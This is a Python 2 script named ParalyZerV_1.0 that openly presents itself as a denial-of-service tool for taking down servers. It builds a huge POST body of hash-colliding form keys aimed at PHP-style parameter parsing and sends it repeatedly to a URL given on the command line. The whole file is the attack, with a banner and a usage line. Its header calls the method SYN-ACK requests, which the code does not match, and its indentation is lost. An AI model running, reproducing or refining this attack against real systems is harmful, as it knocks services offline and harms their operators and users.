#ParalyZerV_1.0


import socket, sys, urllib, string, math, ssl

import time


import urlparse, argparse


# Date: May, 14th 2012


# Tool Name: ParalyZerV_1.0


# Version: 1.0


# Description: A simple script to take down a server with n number of SYN-ACK requests


# Usage: python ParalyZerV_1.0.py -url http://www.example.com -c COUNT

# Coded Under: Python 2.7

def main():

print '''\n



\t#### ##






\t # # #






\t # # ### #### ### # ## # #### ## ####






\t ### ### # # ### # # ## # # #### # #






\t # # # # # # # # # # # # #






\t### ## # ### ## # ### ## #### ### ###






\t #






\t # \n






.:: DENIAL OF SERVICE ::.











Coder: Subir aKa Whiskey\n






.::COMPUTER KORNER::.\n'''






parser = argparse.ArgumentParser(description="A Denial Of Service Tool, To Take Down Servers", prog="ParalyZeR")






parser.add_argument("-u", "--url", help="Target URL Required", required=True)






parser.add_argument("-c", dest="count", type=int, default=1, help="How many requests to send, Default Set To 1")






parser.add_argument('--ver', action='version', version='Version: %(prog)s 1.0')






options = parser.parse_args()






url = urlparse.urlparse(options.url)











if not url.scheme:






print "#> Provide a scheme, HTTP/HTTPS..."






sys.exit(1)






host = url.netloc






path = url.path






port = url.port






print "#> Generating Payload..."






payload = generatePayload()






mess = "\"I Love You and Will Always Do!\""






print "#> Payload Generated"











if not port:






if url.scheme == "https":






port = 443






elif url.scheme == "http":






port = 80






else:






print("#> Protocol Not Supported: %s" % url.scheme)






sys.exit(1)






if not path:






path = "/"






print "#> Target: ",host






print "#> Set on Port: ",port






print "#> Number Of Requests To Send: ",options.count






try:






for i in range(options.count):






print "[+] Sending Request: " + str(i+1),host,port,mess






sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)






if url.scheme == "https":






ssl_sock = ssl.wrap_socket(sock)






ssl_sock.connect((host, port))






ssl_sock.settimeout(None)






else:






sock.connect((host, port))






sock.settimeout(None)






request = """POST %s HTTP/1.1






Host: %s






Content-Type: application/x-www-form-urlencoded






User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 ( .NET CLR 3.5.30729; .NET4.0E)






Content-Length: %s






%s






""" % (path, host, str(len(payload)), payload)






if url.scheme == "https":






ssl_sock.send(request)






else:






sock.send(request)






print "[!] Requests Sent!"






raw_input("Press Any Key To Exit")






except:






print "[!] Aborted!"






raw_input("#> Press Any Key To Exit")











def generatePayload():






# Payload Taken from:






# https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision






# Note: Default max POST Data Length in PHP is 8388608 bytes (8MB)






a = {'0':'Ez', '1':'FY', '2':'G8', '3':'H'+chr(23), '4':'D'+chr(122+33)}






length = 7






size = len(a)






post = ""






maxvaluefloat = math.pow(size,length)






maxvalueint = int(math.floor(maxvaluefloat))






for i in range (maxvalueint):






inputstring = base_convert(i, size)






result = inputstring.rjust(length, '0')






for item in a:






result = result.replace(item, a[item])






post += '' + urllib.quote(result) + '=&'






return post;






def base_convert(num, base):






fullalphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"






alphabet = fullalphabet[:base]






if (num == 0):






return alphabet[0]






arr = []






base = len(alphabet)






while num:






rem = num % base






num = num // base






arr.append(alphabet[rem])






arr.reverse()






return ''.join(arr)






if __name__ == "__main__":






main()